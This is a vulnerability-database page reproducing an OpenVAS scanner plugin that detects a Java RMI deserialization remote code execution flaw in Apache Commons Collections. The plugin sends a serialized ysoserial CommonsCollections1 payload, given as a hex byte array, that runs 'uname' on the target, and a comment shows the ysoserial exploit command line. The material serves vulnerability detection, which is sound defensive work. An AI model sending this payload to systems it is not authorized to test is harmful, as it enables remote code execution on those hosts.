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openvasThis script is Copyright (C) 2016 Greenbone Networks GmbHOPENVAS:1361412562310105765
HistoryJun 15, 2016 - 12:00 a.m.

RMI Java Deserialization Remote Code Execution Vulnerability

2016-06-1500:00:00
This script is Copyright (C) 2016 Greenbone Networks GmbH
plugins.openvas.org
1006

0.005 Low

EPSS

Percentile

72.8%

The remote host is affected by a remote code execution vulnerability

###############################################################################
# OpenVAS Vulnerability Test
# $Id: gb_rmi_service_java_deserialization.nasl 11961 2018-10-18 10:49:40Z asteins $
#
# RMI Java Deserialization Remote Code Execution Vulnerability
#
# Authors:
# Michael Meyer <[email protected]>
#
# Copyright:
# Copyright (c) 2016 Greenbone Networks GmbH
#
# This program is free software; you can redistribute it and/or
# modify it under the terms of the GNU General Public License
# as published by the Free Software Foundation; either version 2
# of the License, or (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
###############################################################################

if (description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.105765");
  script_version("$Revision: 11961 $");
  script_cve_id("CVE-2016-3642", "CVE-2016-1487");
  script_tag(name:"cvss_base", value:"10.0");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:C/I:C/A:C");

  script_name("RMI Java Deserialization Remote Code Execution Vulnerability");

  script_xref(name:"URL", value:"https://www.kb.cert.org/vuls/id/576313");

  script_tag(name:"vuldetect", value:"Execute the `uname' command and check the response.");
  script_tag(name:"insight", value:"The Apache Commons Collections (ACC) library is vulnerable to insecure deserialization of data, which may result in arbitrary code execution. Java applications that either directly use ACC, or contain ACC in their classpath, may be vulnerable to arbitrary code execution.");
  script_tag(name:"solution", value:"Ask the vendor for an update/workaround");
  script_tag(name:"summary", value:"The remote host is affected by a remote code execution vulnerability");
  script_tag(name:"solution_type", value:"VendorFix");

  script_tag(name:"qod_type", value:"remote_active");

  script_tag(name:"last_modification", value:"$Date: 2018-10-18 12:49:40 +0200 (Thu, 18 Oct 2018) $");
  script_tag(name:"creation_date", value:"2016-06-15 20:26:27 +0200 (Wed, 15 Jun 2016)");
  script_category(ACT_ATTACK);
  script_family("General");
  script_copyright("This script is Copyright (C) 2016 Greenbone Networks GmbH");
  script_dependencies("gb_rmi_registry_detect.nasl");
  script_require_ports("Services/rmi_registry");

  exit(0);
}

include("byte_func.inc");

if( ! port = get_kb_item("Services/rmi_registry") ) exit( 0 );

soc = open_sock_tcp( port );

if( ! soc ) exit( 0 );

req = 'JRMI' + raw_string( 0x00, 0x02, 0x4b );

send(socket:soc, data:req);
res = recv( socket:soc, length:128, min:7 );

if( hexstr( res[0] ) != '4e' || ( getword( blob:res, pos:1 ) + 7 ) != strlen( res ) )
{
  close( soc );
  exit( 0 );
}

# java -cp ysoserial-0.0.2-all.jar ysoserial.RMIRegistryExploit 192.168.2.44 1099 CommonsCollections1 'uname'
req = raw_string( 0x00, 0x09, 0x31, 0x32, 0x37, 0x2e, 0x30, 0x2e,
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                  0x3f, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
                  0x77, 0x08, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00,
                  0x00, 0x00, 0x78, 0x78, 0x76, 0x72, 0x00, 0x12,
                  0x6a, 0x61, 0x76, 0x61, 0x2e, 0x6c, 0x61, 0x6e,
                  0x67, 0x2e, 0x4f, 0x76, 0x65, 0x72, 0x72, 0x69,
                  0x64, 0x65, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
                  0x00, 0x00, 0x00, 0x00, 0x00, 0x70, 0x78, 0x70,
                  0x71, 0x00, 0x7e, 0x00, 0x3f, 0x78, 0x71, 0x00,
                  0x7e, 0x00, 0x3f );

send( socket:soc, data:req );
res = recv( socket:soc, length:512 );

close( soc );

if( "Integer cannot be cast to java.util.Set" >< res )
{
  security_message( port:port );
  exit( 0 );
}

exit( 0 );

0.005 Low

EPSS

Percentile

72.8%